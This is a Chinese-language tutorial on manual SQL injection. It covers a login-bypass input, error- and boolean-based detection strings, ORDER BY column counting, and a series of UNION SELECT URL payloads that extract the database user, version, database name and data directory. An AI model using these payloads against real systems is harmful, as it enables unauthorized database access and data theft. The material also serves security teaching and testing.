目錄
1.概述
2.登錄判斷
3.檢測方法
3.1 基于報錯的檢測方法
3.2 基于布爾的檢測
3.3 表列數(shù)/顯示信息位于哪一列
3.4 ASCII轉(zhuǎn)字符
3.5 連接字符串
3.6 md5值計算
3.7 執(zhí)行結(jié)果切分
1、概述
- 服務(wù)器端程序?qū)⒂脩糨斎雲(yún)?shù)作為查詢條件,直接拼接SQL語句,并將查詢結(jié)果返回給客戶端瀏覽器;
- 不僅可以獲得針對數(shù)據(jù)庫,還能通過sql獲得系統(tǒng)權(quán)限、文件操作等
2、登錄判斷
SELECT * FROM users WHERE user=‘name' AND password=‘pass‘
SELECT * FROM users WHERE user=‘name' AND password='' OR ''=''
3、檢測方法
3.1、基于報錯的檢測方法
一般來說,數(shù)據(jù)庫都是使用單引號/雙引號等進行閉合,如果直接輸入一個單引號/雙引號/百分號%,數(shù)據(jù)庫因為多出的輸入字符導(dǎo)致無法閉合而報錯
' '' % ()
3.2 基于布爾的檢測
基于上述判斷,再進一步確認(rèn)服務(wù)端是否執(zhí)行
1’ and ‘1’=‘1 或1' and '1
1’ and ‘1’=‘2 或1' and '0
3.3 表列數(shù)/顯示信息位于哪一列
通過下面的語句猜測一個表中包含幾個字段,數(shù)字變換嘗試
'order by 9-- //--表示后面的為注釋(--后有1個空格),變?yōu)?' order by 9-- ',效果為'' order by 9
對于order by 數(shù)字的用戶說明如下:
示例1:
SELECT last_name, salary , hire_date
FROM EMPLOYEES
ORDER BY salary DESC;
示例2:
SELECT last_name, salary , hire_date
FROM EMPLOYEES
ORDER BY 2 DESC;
以上兩個示例結(jié)果相同。
因為ORDER BY salary DESC==ORDER BY 2 DESC
salary是第二個元素,所以可以使用2來代替。
但是數(shù)字不可以使用0,也不可以超出查詢的列。
例如:select * from employers
order by x;
如果employers表有九個字段,那個X的范圍就是1---9
不能是0,也不能是10.
在輸入時,如果使用select語句,使用union或union all進行聯(lián)合查詢
' union select 1,2 -- // 查詢哪個字段名(注意--后面有空格)
' union select user(),version()-- //查詢用戶名和版本
' union select user(),database()-- //查詢用戶名和數(shù)據(jù)庫名稱
' union select user(),@@datadir--
全局函數(shù)還包括@@hostname、@@version、@@version_compile_os
通過使用Firefox安裝的hackbar,執(zhí)行sql命令:
3.4、ASCII轉(zhuǎn)字符
?id='+union+select+user(),char(70)--+
&Submit=Submit#
3.5、連接字符串
?id='+union+select+CONCAT_WS(CHAR(32,58,32),user(),database(),version()),null--+
&Submit=Submit# //第1個字段同時查詢多個數(shù)據(jù),第2個字段為空
3.6、md5值計算
?id='+union+select+CONCAT_WS(CHAR(32,58,32),user(),database(),md5('abc')),null--+
&Submit=Submit#
3.7、執(zhí)行結(jié)果切分
將查詢的結(jié)果切分,返回想要的結(jié)果
?id='+union+select+database(),substring_index(USER(),"@",1)--+
&Submit=Submit# //查詢user(),并以@為分隔符,取第一個字段